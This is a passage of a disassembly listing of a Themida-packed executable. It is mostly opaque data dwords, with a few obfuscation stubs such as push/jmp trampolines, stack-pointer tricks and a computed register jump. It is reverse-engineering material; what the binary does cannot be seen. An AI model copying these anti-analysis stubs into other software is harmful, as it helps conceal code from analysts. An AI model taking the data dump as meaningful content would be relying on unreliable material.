loc_5517CE ; --------------------------------------------------------------------------- push 6ADE9B5h jmp loc_5517CE ; --------------------------------------------------------------------------- db 4Dh dd 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h, 1EE5216Ch dd 0DB96B75Bh, 0F42E44Fh, 3D7418BBh, 6E2746E9h, 6C9E4CD8h dd 0B605B72Ch, 0FF6BD016h, 1788155Ch, 0DD10DC74h, 5BF5BC4Eh dd 31632462h, 0C32A5C8Ah, 81B60016h, 0C5C10996h, 0E1B60016h dd 0BDA9A90Ah, 58147792h, 47h, 0EFB5E7E3h, 24E0AA72h, 2CDAB3B6h dd 65839Ah, 0FE1365B6h, 5C427CDFh, 8B33EC30h, 0A18B1273h dd 61C7C305h, 92BDB600h, 0AB5FF806h, 44E42548h, 2784140Dh dd 61DF27h, 8F10FBB6h, 775D9783h, 0F07614h, 0FFC90000h dd 0EF1155Ch, 0A1FA276Eh, 75030529h, 82166087h, 54B3C521h dd 6F3902A5h, 0AECF50D8h, 46E5BEE3h, 6201A20Fh, 3751FF2Bh dd 0AF587DF3h, 7C782B0h, 0C4068C2Ch, 0AF58823Bh, 5E41C568h dd 0FA33703Dh, 5881D8D0h, 0A881AAAFh, 0DB92B112h, 0DC67D556h dd 731F802Eh, 78B0E936h, 895BEEh, 0B9C329B6h, 0B6008981h dd 0CBFFE843h, 9C81DE81h, 0F4243095h, 0A41FBD0Eh, 8B2D806h dd 0B600BD10h, 9DF59F2h, 0BCAB5EB9h, 4E0B288Bh, 5F2A6E98h dd 3F18BCABh, 1E3FA046h, 0AF25B753h, 0A3ECAFE8h, 0FCA72D8Bh dd 0F0F2165Bh, 20EC7F2Fh, 8890283h, 5FFA0000h, 22F9016h dd 3860C347h, 0E48A3571h, 99BA65A1h, 0A8C956D4h, 684C96Ah dd 6AB0FD9Dh, 0A4E2ABC9h, 951158FBh, 79B1CB11h, 4BB605B9h dd 59BA260Dh, 0FA337035h, 1D50F1BEh, 4E072689h, 0B5E7D3F8h dd 53ABE286h, 749C71DEh, 0FC2A0323h, 0F8334Ah, 0CBA335B6h dd 90C08B6Dh, 1C37D95Fh, 2D6805EEh, 0D6DE188Bh, 0CDB6015Ch dd 0E8B9E6AFh, 0EEA40940h, 3F61F0B1h, 5B81CB54h, 15CE921h dd 3870DBB6h, 7650807Ch, 0C2644F14h, 367F1E8Fh, 0DA78B0E9h dd 0B7h, 3959BA6Dh, 0BAFE2F74h, 0F19756F5h, 0C1227BB8h dd 5445EAA3h, 0C2644F7Bh, 0AF09228Fh, 8FC2633Ch, 0DB57D822h dd 0A609AF57h, 0C36CCC89h, 0B75DE9A0h, 3A672A4Ch, 45E8B7E1h dd 0B6E6A70Ch, 1CAFD90Dh, 0E6B5FFE3h, 0EA5F994Dh, 325E68B5h dd 76D1BBFDh, 3F497DC6h, 0BCAB5992h, 0C023C770h, 0A234D29Fh dd 0A8AD55ADh, 1BE13758h, 2EDA97B8h, 0EC7EE49Eh, 7C40C1E2h dd 0ED000007h, 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h dd 0FE45C18Ch, 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h dd 8C3E2CB8h, 0B605BA8Ch, 0FF0B3076h, 2C97135Eh, 1CFA4009h dd 55DA9FB3h, 0FFCFD444h, 5288155Ch, 179CD171h, 6E0D9206h dd 5E498327h, 82F41C2Fh, 0CF028F62h, 8E672AD8h, 0B5E7A02Ah dd 0CAED80Eh, 0F6B606A3h, 0F903A95Dh, 0B606A2C1h, 485EA883h dd 0C49E36DBh, 8E71FB3Dh, 0E660A6EFh, 0B6062A32h, 297DC869h dd 0C6769978h, 0CC3F497Dh, 0B6BCAE3Fh, 0E786699Dh, 802801AEh dd 3767EE18h, 0F0245077h, 0BE6D9F4Bh, 84571F46h, 94D17D66h dd 0B4F41E0Fh, 8E571F46h, 0FB67CCA5h, 46EF2B5Dh, 0F2D5571Fh dd 84951A53h, 1ABA0DABh, 68410429h, 0B07D08B2h, 0EC475DCAh dd 0FFB6D53Eh, 0A46508ABh, 33D5CE83h, 4B5FC9A3h, 8C4D36F5h dd 0FD000006h, 2C97135Ah, 5BC44207h, 8D36743Dh, 0BD66A4E1h dd 0CE55D19Ch, 8BC667ABh, 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h dd 0BCCE1C88h, 0B605BB7Ch, 0E71B0046h, 0AED80EB5h, 0B605B70Ch dd 0FEB7D5F6h, 51FEE105h, 2D9614h, 2447D845h, 0C315BB6Dh dd 189BF324h, 636A7h, 0C980A700h, 0F8BDD27Dh, 2E6701A2h dd 5E1B3798h, 8BC667C8h, 1101B03Fh, 46E93D70h, 72DD6924h dd 0A40F9BD2h, 0EA72C881h, 0BAD2D670h, 6AB0B605h, 0EB5E7CDh dd 0B70CAED8h, 0B4D2B605h, 5B63264Bh, 0B605B75Fh, 0B6C3C701h dd 9681B605h, 93BDFB54h, 82A102B8h, 6BCC7FCBh, 0A4902AD0h dd 9EB605B7h, 51EB11B5h, 0B605B859h, 3BA8002Bh, 5B7F433h dd 7A3B90B6h, 0E0ADCD36h, 33F0EC48h, 0D43F1472h, 0EE8EFFB2h dd 0F7217AA7h, 6445h, 0B6E7DE00h, 71ADDF0Bh, 77AF57D7h dd 42AE78Ch, 0D2CBDC41h, 169BD271h, 236D9305h, 1D1F175Fh dd 58113418h, 0F0E9C2DBh, 0D56BABB3h, 0AC07AF58h, 903FB903h dd 0CC85A7A1h, 6786D832h, 42896531h, 5B4412DFh, 0FB2C7138h dd 179FBDh, 7E610000h, 1A1390DDh, 0A8DF959Eh, 3B000001h dd 0C5DE95B1h, 298FD8F0h, 0F1220102h, 0A4C2F843h, 57D72662h dd 0E5331CAFh, 0EC9ECD7Fh, 0CB64B5FFh, 274CB75Dh, 4E303662h dd 4D65AA9Bh, 14B654EFh, 6C52AAA5h, 0AE6FB49Fh, 0F711B50Eh dd 72FE1420h, 464284E2h, 3C72FE14h, 238C3A13h, 52FD4900h dd 1C4E7A33h, 0A4362C66h, 4F1BE07h, 0C7620000h, 0FA97388Eh dd 0A0C86BBFh, 5CF25DE9h, 1228D19h, 4071FE4Ch, 0AEFCB1D2h dd 92286505h, 0CC5A1331h, 3D89C063h, 1109B3A9h, 0F3B605BCh dd 5CFF8EB5h, 71528815h, 21B98DDh, 6FC98CA1h, 1BCF74D8h dd 0FFF8A6E1h, 77B39CB5h, 5FBE4F89h, 620E4BBCh, 5938CC1h dd 16B2FB9Ah, 0F32A9B5Eh, 8CD0B172h, 0FD000004h, 2C97135Ah dd 5BC44207h, 8D36743Dh, 0BD66A4E1h, 0CE55D19Ch, 8BC667ABh dd 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h, 0BCCE1C88h, 0B605BD7Ch dd 0FF1B0046h, 1788155Ch, 31F03D74h, 71141B84h, 0DE04E238h dd 57D76CACh, 0BBFD56AFh, 0DFD203FFh, 5EEA12h, 0E73D0000h dd 0F7D80EB5h, 0BAF7975Ah, 21AA5CC1h, 9AE5514Ch, 0D71D9B74h dd 7F06B5h, 0BBDBFCB6h, 0B891DC7Eh, 0E449227Bh, 7F2262h dd 0AAE381B6h, 0B6FB9C05h, 64CDE669h, 3FE04BD5h, 75B5D77Dh dd 4FB6007Fh, 8484C6E4h, 7EB6007Fh, 0FBD743D5h, 2A14777Eh dd 0BEE3AAC9h, 3409CB6Dh, 12000000h, 0D80EB5E7h, 2715AEh dd 0A644EFB6h, 0BBDD103Dh, 278D8D3Fh, 0DC77B600h, 4ABC0AE3h dd 0B600274Bh, 2E7C3558h, 0ADE885h, 3AEBFh, 0D7785B00h dd 0BA151E9Ah, 22913559h, 2F9450EFh, 0B4E54A23h, 0CA71A364h dd 0D7A7EA1Ch, 7F9DB600h, 0D7CDCDh, 393BBFB6h, 5723C83Bh dd 294BBC97h, 792A7760h, 0A70E93DAh, 0DE7E6D36h, 0E5E67584h dd 8AFBAE5Ch, 2C7DA2EBh, 2E759733h, 14BCA959h, 0D473A6DAh dd 0B2ABD20Ch, 0E1A8CB74h, 0E259FBBCh, 309782C4h, 0C26DC351h dd 70319A5Dh, 0E8A1C32Ch, 53F1524Bh, 72119E1Ah, 0F85CEF3Bh dd 0E055A743h, 0B9F59E88h, 32FB3F49h, 6EC9C351h, 8F392375h dd 0C9F966F0h, 6B3479D2h, 0FE3A4CC8h, 0C4C9F966h, 2E54726Bh dd 0F9679C9Ch, 294566C9h, 7012736Ch, 71A7F03Dh, 0BD664F92h dd 246D10F3h, 3A8133F4h, 9AA37A8Ch, 0B661D0A1h, 9298A70h dd 6ACEDF44h, 42EFA6C5h, 0A00D40E1h, 0D0D758CDh, 0E5A6E4ADh dd 0ACDE0CB7h, 0D749AF7Dh, 0D53EEC47h, 79B2FFB6h, 0B0D34C3Fh dd 392E3918h, 413A099Bh, 0EFB01DDCh, 0C3E75CF0h, 0F0F992B9h dd 224F70DDh, 97388E67h, 0EA70BDF4h, 8BCE634Ch, 0F0F94743h dd 86123DDDh, 0F7337A19h, 0AF5BE054h, 9917F21Dh, 4CEFD0E4h dd 15FE2C05h, 6AF03D78h, 9917D8D0h, 0A881AAE4h, 0D75C1537h dd 75F152C6h, 187DBDCFh, 0EC47E499h, 187ABA4Ch, 0BD16E499h dd 2647A8F4h, 43D5C66Bh, 9E93FBD7h, 2E0227h, 0E7250000h dd 0EDAAEFB5h, 123F83A8h, 2228D39h, 63B5E64Bh, 0DC304FF9h dd 3912B600h, 0DC3272F4h, 0E54EB600h, 0D3423E3Ch, 0B0A51476h dd 7E000000h, 88155CFFh, 0F63B7617h, 7099EE68h, 0AE1C0FD9h dd 0CF86A50Ah, 0EBA2C162h, 3377913Fh, 11AF58D1h, 0FE08F226h dd 0AF58D531h, 3557D372h, 0AF58D4F5h, 3F8B64CFh, 7BB8F194h dd 0DB902B2h dd 0E490FBh, 4DD972B6h, 1D005AFAh, 48275D0Dh, 8329DDB6h dd 0ED327F20h, 0BDEA7CBCh, 0A3BCAC46h, 0C7511840h, 7E81E39h dd 349F2B66h, 0F4AA5E13h, 94EC7E32h, 1A1AE17h, 77120000h dd 2A47E83Eh, 0D078DB6Fh, 8CA20D99h, 0B1D27DC9h, 9021AEFCh dd 1EACE182h, 42D895B5h, 0BC0A43E1h, 0ED397013h, 6159E379h dd 23B605BFh, 5EFF3EE5h, 92C9713h, 0E7DDFA40h, 0AED80EB5h dd 0B600054Fh, 55951A35h, 0B6000551h, 690CF76Dh, 0BC92BEC1h dd 4A23AE94h, 0AEAC75EEh, 1477BEB2h, 0B355h, 5CFFEE00h dd 76178815h, 0EE68F63Bh, 5C33EA43h, 0ABBDFB48h, 0AF58A9E6h dd 53D79EBDh, 0CDD123B5h, 3F4FA081h, 0B2E6AFCEh, 9A074EEDh dd 0E218A311h, 0AE3158h, 7F8937B6h, 0B600AE3Bh, 218ECB68h dd 0DB5DF608h, 3B8C1A35h, 42842299h, 0BCAB4CF6h, 5C4763CCh dd 8F30763Bh, 3305A3EEh, 7DEC7F2Dh, 0D9C5BEh, 2F4A0000h dd 0D27F2066h, 88B01397h, 0B4DA45C1h, 690AB5F1h, 5819E624h dd 56D499BAh, 0BA004DEDh, 0F4327B19h, 2561284Bh, 29619B41h dd 1BB605C0h, 5EFF76DDh, 1855F5DEh, 57D6BAFEh, 0B6AF88AFh dd 0E5ACCF70h, 29619BC1h, 1BAF57D7h, 3512F830h, 88155CFFh dd 87DC7417h, 3CD5F700h, 8C3F8B64h, 0C9779328h, 0AA0E47E6h dd 690FA5Ch, 45E7C8B6h, 6897F20Ch, 0D14342C7h, 44AFBBF8h dd 66C96F22h, 97388EC7h, 0EA70BDF4h, 83206509h, 0ABF80EAAh dd 0F80F3DF6h, 0C951A57h, 3CFA276Ah, 1C9F1E87h, 5CFF06AFh dd 0F2E9115h, 2A48D946h, 963FC26Fh, 2E67060Dh, 0EDF87298h dd 0D6B66D11h, 294CD345h, 0A60B46E8h, 3F721475h, 63C0B9F2h dd 32771C87h, 937CBCEDh, 3, 0FFCBB0B6h, 138C1158h, 2BF43970h dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h dd 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BE56h, 0F0290000h dd 2404875Eh, 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h dd 56240C89h, 0C681E689h, 4, 8704EE83h, 895C2434h, 0FCB9243Ch dd 51646120h, 592404FFh, 4CF18141h, 6862CCC0h, 3039h, 83242489h dd 5F042404h, 34BE5651h, 15C9965h, 5E042474h, 8108478Fh dd 6534086Fh, 34FF5C99h, 0C4835F24h, 240C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- db 35h, 0E0h ; --------------------------------------------------------------------------- loc_5A8553: ; CODE XREF: Themida_:loc_5A7A6Aj mov eax, 6ADEAB3h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 1DEEACA4h, 76BEEB4Eh, 63DAF390h, 454240A9h, 0EC0F8D8Dh dd 0BD0106ADh, 6A829F5h, 5B98D89h, 6A06A8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 1F9F28C3h dd 146985C7h, 6BC006A8h, 0B5290000h, 6A81DDDh, 0BBD85C7h dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0B2E94EC3h, 0C38B66ACh, 1535B5FFh dd 850906A8h, 6A82769h, 22718589h, 95FF06A8h, 6A820DDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9CC35646h dd 0BB337A20h, 8BFB8B66h, 0FF006AC7h, 0A81B3195h, 0EBC08B06h dd 621C1Eh, 0CB344314h, 487312C8h, 0BA42C3FBh, 44A22034h dd 0AB789176h, 0E54A2930h, 0E8BF506Ch, 12h, 5626025Ch dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 95892254h, 6A80FA1h dd 81B58959h, 8106A816h, 6CCCC1h, 0F2BF0F00h, 8B66C033h dd 834FFDAh, 0AED8589h, 895F06A8h, 0A80A7195h, 0B9F78106h dd 0BB3B8050h, 5CF31FDBh, 0C501EF81h, 8E9034Dh, 0D2000000h dd 9FF87342h, 81CE6FEFh, 0DFAD31F7h, 12E918h, 4EF60000h dd 0D725D152h, 2C70779Ch, 68FE5045h, 0DF923F08h, 0AE857h dd 0DA9A0000h, 5BAF5AA0h, 5F8C9D4Eh, 0AC1958Bh, 8F5A06A8h dd 9D8B0104h, 6A83345h, 8E9h, 7A9B3400h, 9148591Ch, 4E8835Ah dd 2800Fh, 0D88B0000h, 942CF881h, 850FFFFFh, 16h, 3AE9F9h dd 935F0000h, 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0CE9345Ch dd 89000000h, 86572D7Ch, 4880DD4Bh, 0E967427Eh, 0FFFFFF45h dd 0D9086294h, 4D751E1Eh, 3475BF43h, 0FABA70D5h, 831DE6D4h dd 0EDB08D8Dh, 0F28006ADh, 0B98D89B3h, 6A06A805h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0A15C356h, 1CA90BE1h, 8BD7CD56h, 0A81F5DBDh, 6985C706h dd 6006A814h, 0E9000063h, 7, 76789658h, 0C7BCEBADh, 0A80BBD85h dd 6, 0F0816600h, 0B5FF332Bh, 6A81DA9h, 2C91BD8Bh, 95FF06A8h dd 6A820DDh, 0FF5BD29h, 6A06A8h, 1B3195FFh, 0C08B06A8h dd 57630CEBh, 43DDB4ECh, 76A0668Fh, 8E880E5h, 6C000000h dd 266DC286h, 536AF20Fh, 5A8DEA80h, 81F28B58h, 749FC0h dd 12E800h, 40360000h, 0D8494200h, 0DF27AA16h, 58DC79FDh dd 0A9896A00h, 0FAB95AF9h, 0B200001Ch, 66188B6Eh, 0F381F98Bh dd 7D7BB56Eh, 1A599501h, 0EB8106A8h, 7932DD1Eh, 2CCDBD03h dd 0C38106A8h, 13ED605h, 128F0Fh, 6E80000h, 58000000h dd 0A096F0BFh, 1D8D8906h, 5F06A830h, 9D291889h, 6A80B01h dd 2904E883h, 0A80805B5h, 850F4906h, 1Bh, 2CA98589h, 27E906A8h dd 2000000h, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch, 89B87382h dd 0A8320D8Dh, 0FF87E906h, 3633FFFFh, 6AC8539Eh, 89CC0E81h dd 30E92A6Bh, 90000000h, 64FCE7h, 24300h, 9 dup(0) dd 0E9000000h, 0CDBh, 0ADF08068h, 5786E906h, 9E68FFFBh dd 0E906ADF1h, 0FFFB577Ch, 0ADF31568h, 5772E906h, 2968FFFBh dd 0E906ADF4h, 0FFFB5768h, 0ADF4D968h, 575EE906h, 0E868FFFBh dd 0E906ADF6h, 0FFFB5754h, 0ADF79C68h, 574AE906h, 4368FFFBh dd 0E906ADF9h, 0FFFB5740h, 0ADFA2268h, 5736E906h, 9FC7FFFBh dd 18724065h, 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h dd 5A7B81F9h, 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh dd 8B580C11h, 0B9D2130Eh, 104BD94Dh, 0FE3C58BAh, 2A565EA1h dd 60D24DD0h, 7C218076h, 62F6D039h, 0F52DF10Eh, 0A0C27FDEh dd 5BF91C29h, 461B0D78h, 904163A0h, 0EEE70F6Fh, 73B2A7F9h dd 20F22DB0h, 0F9EE52FEh, 6728E8A7h, 1F236F89h, 497F56h dd 0E5C00000h, 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch dd 5DC45BDAh, 0B9CF36C9h, 433F0A9Fh, 0A3738DFBh, 0C21C9F7Eh dd 0A7F67FAEh, 0FAE7EB14h, 58069406h, 0D2B5F4A6h, 12807660h dd 537C0C8Fh, 1E8F9BBDh, 0E08356h, 0D2AC0000h, 4BD94DB9h dd 0E331E51Fh, 0CFC37C88h, 7DBC6E92h, 682BD189h, 0C733A4FAh dd 0F959BCA6h, 3D485EA1h, 0F6E0F620h, 0C80F9200h, 0C5B9584Ah dd 13A3629Eh, 9BEF8C78h, 78614E0h, 76798DAh, 0A406A75Eh dd 16E1C239h, 0D45F2336h, 1E1A8911h, 0CE51538Eh, 0EE2FD053h dd 0F66E608Ch, 76962DA7h, 1D20CD65h, 8CF1B013h, 2CC6E009h dd 0A2709B53h, 5F53EC4Fh, 0EA4FDF21h, 0B0B4D62Bh, 0FDA2AF87h dd 69119DA2h, 7624DA80h, 0D747BB20h, 7310F352h, 45F11152h dd 10AC0CC9h, 0C4BC0E91h, 0DC75C3Eh, 0F5673F8Eh, 0A7A98h dd 0C8325200h, 53A5D7ABh, 0DB275C32h, 619DC4BAh, 0E8124E3Ch dd 524C20CBh, 0DBAFCC36h, 5C3253ADh, 0CAB8DD29h, 3C406591h dd 0E739BFBh, 0F13E580Ch, 4CB6D2DEh, 0D4205B2Fh, 0FCE560B7h dd 586181BEh, 75BF9E2h, 7727D18Bh, 0E5194032h, 0D83ABF22h dd 0A7F62CBCh, 3AC7A6F9h, 0A9B71EC3h, 5EE12D3Eh, 0A8FE12CCh dd 3B44A7F6h, 5896CFC0h, 0A45D228Eh, 0F69E2A42h, 7D3C67A7h dd 4C6A840Bh, 52561E6Fh, 0DDh, 19E79D11h, 0B9D28796h, 1F4BD94Dh dd 0FB1B5CE5h, 5EA1FE53h, 0FEF21A7Ch, 64BF5EA1h, 37A766B9h dd 0A1F9288Dh, 31A1DA5Eh, 167E37E9h, 355639C9h, 30E21641h dd 0CE302CD5h, 0A15E2DA6h, 4783D4F3h, 0F7700014h, 6A8CB514h dd 0A406FF73h, 0C5C0E53Ch, 66A93A1Ch, 895F261Eh, 0D1B04C35h dd 87E3EF30h, 8908A97Dh, 0AE31A259h, 6F9013A2h, 2FFF0963h dd 0F8F60B8Ah, 0AAC22480h, 0E7AC0A58h, 87B8DDBCh, 9AA7510Bh dd 0A58DC78h, 870699ACh, 0CDB14B37h, 3F889C5Ch, 5CBB1A88h dd 4C000009h, 0F5C9EA10h, 62507583h, 0E6D4F905h, 106607FBh dd 4AF19268h, 0FA007822h, 1FFE5D9h, 8B7F6E5Ch, 17E394EAh dd 0E9094E76h, 580C0F4Dh, 0D2908F08h, 48B34CB6h, 0F520BD9h dd 3459D8C1h, 0BCE11546h, 5EB9D26Dh, 3C68BD2Dh, 7CC6AFDFh dd 0DA683A9Dh, 26AC55A1h, 57FF1FB5h, 225EA121h, 0FC612083h dd 0ED1250B9h, 8205FBE1h, 9BFB3C7Dh, 5EA12173h, 0FA24E73Eh dd 5BF93443h, 9321F52Ch, 843052F8h, 0B3A7F934h, 0F9343B53h dd 702F76A7h, 0E8BA4422h, 6607E649h, 6E936710h, 34A1CD2Dh dd 0B5ECA7F9h, 33BE60F2h, 0F524BB2Bh, 7F68527Dh, 178768Bh dd 65593AFDh, 0CB148672h, 0B66498C7h, 0C36EB073h, 622CB359h dd 0A0DBE1AEh, 0BD3B0A30h, 3D9C7F73h, 56B12A98h, 0DF42D02Ah dd 93CFC37Ch, 0B574B569h, 182EFF21h, 55E76759h, 0E317407Ah dd 7FB8275Eh, 0CDEC1EEBh, 2255294Ah, 18C144D6h, 4C45A55Ah dd 4129EBFDh, 7984BDDEh, 0A784665Fh, 36B5744Ch, 35768BC9h dd 0C8A8B9D5h, 0EAADF435h, 87C0F515h, 0C3CF3090h, 47DA5DA7h dd 7D944EDCh, 0C13A60DDh, 56709E31h, 58C18836h, 4F1h, 0FE16BEE9h dd 0F0205EA1h, 0FE5EA1EEh, 0A15DF03Ah, 5E122C44h, 0D29079A1h dd 0C63AA12Dh, 279BA47h, 9C9FA808h, 7EA0638Eh, 0A406009Bh dd 0FE593D64h, 1634748Eh, 7E50984h, 9FC70000h, 18724065h dd 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h, 5A7B81F9h dd 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh, 8B580C0Dh dd 0B9D2130Eh, 9658C129h, 8968A3B7h, 1557B015h, 0FDEC8AECh dd 6EB15BFDh, 553BA64Dh, 3151EEACh, 0A2AB81D4h, 0A8D97EA1h dd 0C1B75A5Dh, 58BA0653h, 0AC0B823Ch, 0C4472679h, 6AAE351Ah dd 0BBF9E637h, 0E2044586h, 1DE8BE4Ah, 74A0C207h, 411DE8BEh dd 62BC7FDEh, 18B0A527h, 4D29DDE8h, 0A5F1FE9Eh, 4C38B70h dd 49A9C220h, 6200662Dh, 0F7563968h, 6839A627h, 961B8B7Fh dd 66ED0969h, 79A86200h, 0AA286996h, 0CC6DC13Dh, 4F3E954Dh dd 54956758h, 58A09A32h, 0F012D76Bh, 6B58A044h, 6C2F8E11h dd 0CA91CAF1h, 0AD73926h, 6F1896ABh, 0F14446FFh, 482BBEF8h dd 0F81476B7h, 0B56B58BBh, 0B9CAAB6Ah, 3147EA42h, 14D32220h dd 87A5C412h, 7DD150CEh, 16BEA00Ah, 636B582Ah, 0FD61C0h dd 0E4F8DAEEh, 6D11F76h, 8BFB0000h, 0C7E4C71h, 0FEE5D9FAh dd 746D6102h, 0EB97EB88h, 0A5C96C11h, 56778DF5h, 0E7847A60h dd 6D0EFA93h, 0F99A6E19h, 0CA6284CBh, 87580C0Ah, 0FCE5170Ah dd 246181BEh, 915BF9EBh, 4F439C0Eh, 1318810h, 0E170368Ah dd 8A0DAC7Eh, 0EBBB4F38h, 0FAE6ECF3h, 8C0F9200h, 31DED3FCh dd 11ACCE73h, 0A2AE60h, 88779FFFh, 0E342AC0Eh, 4162BD20h dd 0E88F121h, 1AA7DEACh, 198D8D32h, 0CB63BF7Eh, 9EAC0EBDh dd 0CD0E3371h, 0B26094C1h, 5472AC6Fh, 19A952E7h, 41EA1486h dd 51B2A0AAh, 0F94AC05Eh, 89F01740h, 43309275h, 9321226Eh dd 6218C01h, 5B0B0000h, 0DC8EFCA1h, 4E35892Ah, 0C4BD11B2h dd 0BB279B38h, 0F5791C41h, 6A75D05h, 9734CAB0h, 1DBE4A23h dd 0A9CA3EA9h, 9A32549Bh, 0D7580C0Ah, 0FCE5675Ah, 4DC7C0DAh dd 0A14C812Dh, 9655CC5Eh, 7DDC3FEBh, 0CB6383C4h, 865EA103h dd 3639C1Fh, 5BFD5965h, 1FF49D28h, 0C42F17A3h, 0D72EB165h dd 5524D793h, 5BEBAA84h, 0ED1EB020h, 0E73D03C9h, 0C0A302F6h dd 0BBF118A3h, 0A85E0886h, 0B42775E9h, 69C83453h, 0F1057644h dd 0CF264250h, 4C8B6A9Eh, 9AC7967Ch, 74E6A949h, 0ED41B526h dd 0FFC5CA9Eh, 0B35B788Ch, 561A4995h, 1C299h, 1E4A4800h dd 3F336E4h, 0AA0F9F69h, 0FCE5F8EBh, 0E1FAAADAh, 5E49213h dd 62179AFCh, 89185BF9h, 8C45EB15h, 52E6A7F9h, 0DF840A7Dh dd 483D7323h, 0E84BEEBCh, 745A229h, 991998FAh, 0D78A2A1h dd 4E33BE64h, 0E05E9D66h, 0F7EB57E0h, 0BF4AD958h, 9A07BA5Ch dd 254629DCh, 40D22651h, 7E99F2h, 0FFD8489Ah, 3699D54Ah dd 8A773657h, 0F8F637C8h, 56A97D81h, 11F19834h, 0EB4AD5ACh dd 0FC03F628h, 0B5ECA949h, 3A71718Ch, 325FE1C6h, 92E0E373h dd 9B3353F9h, 0D6B2A65Ah, 9F3EEC4Fh, 520BEB98h, 9F1E8126h dd 0A61A2F43h, 0AAE595B2h, 0CEF72244h, 0DF8E0448h, 0DABD4138h dd 0D126E948h, 35h, 0ADFCE57Eh, 2240AC34h, 0F5B62613h dd 6C8EB312h, 5BF956ADh, 0E5117176h, 0B0A7F978h, 1CE89D71h dd 9B37E9BDh, 21A7F978h, 0B6D03E91h, 0B8561F94h, 0B8h dd 13B9D289h, 0A1FE5BF3h, 0EB9C165Eh, 49DDBC1Fh, 0BD4138B6h dd 0B86A9EC9h, 5C04B679h, 35A6F4A6h, 0D5B200C1h, 0D02C5529h dd 1C4FDD51h, 3A9BCBE8h, 655EA1F9h, 951D2E1Eh, 0E2A5074Ah dd 0B2D32750h, 0B34C0EEBh, 0FF0B7C72h, 5E82CB63h, 0AF1F86A1h dd 0D75AC83Ch, 3E4BAB54h, 83A40709h, 0F7931F20h, 6E1A680Dh dd 0E0BB3694h, 0D9F3477h, 41280h, 0B04A3A00h, 3BCDBF13h dd 43BF249Ah, 0C935AC22h, 50AAD6A4h, 3AE48833h, 0A317B44Eh dd 249A3BC5h, 522045B1h, 94A8CD39h, 89B3353h, 59D6580Ch dd 4CB6D266h, 0C7205B2Fh, 72B76799h, 0FC176E93h, 8FA5B737h dd 67BADB5Ah, 0B44DB9D2h, 274D9049h, 1C9F5048h, 0A84F388Eh dd 0D958CA30h, 0BEC25576h, 5EA27E12h, 5E7EF41Ch, 7A38A1A1h dd 2487A5C5h, 51ACA402h, 360D95B6h, 5D68550h, 9C1AE1h dd 25F9057Ch, 0FF622584h, 6634C8B7h, 4BB260C3h, 5F53ECAEh dd 0EA4FDF21h, 0B1B4D62Bh, 2A2A8F3h, 12719DFDh, 0E53CAC09h dd 0D13FA002h, 85173F8Bh, 35E08h, 0EC164E00h, 7781FBCFh dd 877B6056h, 15E990E6h, 9C660270h, 66185CFFh, 0EFE3807Ah dd 186E0FF1h, 86F4996Dh, 407C21D5h, 9B7DF3Fh, 0B502580Ch dd 74139F9Ah, 0C2B50988h, 609B6436h, 6A4EA7FDh, 0E85ADDEFh dd 596A0BFFh, 0EB485C22h, 0FD78984h, 5879FC4Dh, 0AD28EB04h dd 0F5F90644h, 0BEB158Fh, 51F8A2A0h, 3AFD3CEEh, 234384C5h dd 5EA1FC8Bh, 2DC5FC6h, 5BF9F1B7h, 6A752978h, 11857164h dd 1D00ACCEh, 0D24DA7F6h, 0C26EB073h, 78A7F61Dh, 7F80F7D8h dd 0E3E97004h, 0F668A6BBh, 0A7F6495Eh, 6109881Bh, 561ECA47h dd 0B5B4245Fh, 0DE741EEFh, 66CB5BAFh, 3BF30487h, 5C000000h dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0CD619DCAh, 12748D6Ch dd 5BF9E297h, 6B950998h, 0A7F62CC7h, 51C533A5h, 0C95DA7C3h dd 230A85DDh, 26C8C78Bh, 561EE100h, 101EEh, 0B9D23300h dd 0B7B12029h, 6434DFA3h, 0DF5C9BD1h, 0BA4E3F09h, 59E649E8h dd 0A12D9D39h, 0E649D85Eh, 0FAE634h, 0EE105192h, 5EA12D46h dd 6F559013h, 0EB0EBC5Eh, 0FFE85ADDh, 52059B0Bh, 0F8DD05A6h dd 0EA5EA101h, 81FC05F1h, 0D5830AD4h, 0E28302A0h, 9F0FFBECh dd 6E93D13Eh, 44A1CD2Dh, 0A8C35EA1h, 0B46BCE5Ch, 1455AA6Dh dd 441BB3D3h, 0CF565EA1h, 2FFF017Fh, 0EED70B8Ah, 0CB5BFABEh dd 97703B58h, 0E7EB2CD5h, 0BCD806FAh, 0F9A7F954h, 0F81AE7A6h dd 0A2A0CA4Bh, 748F928h, 0FF64FE7h, 189B0AACh, 5FFEBE7h dd 8C761260h, 8D35BF2Eh, 94F96B3Fh, 1B7h, 7617ED91h, 3A05600h dd 8F2CD08Fh, 11B24E3Bh, 9E3FC5BDh, 0DB8777FFh, 500E7C21h dd 0CCB90DAEh, 0B4279B38h, 0DEE12340h, 0C0710BCh, 0FDD45D58h dd 9C79139Fh, 278A18E6h, 971C544h, 0FE214DADh, 356C5EA1h dd 2A5D3152h, 866997CDh, 0FCE532E5h, 3F4081BEh, 0A1FEB7DFh dd 4CB82D5Eh, 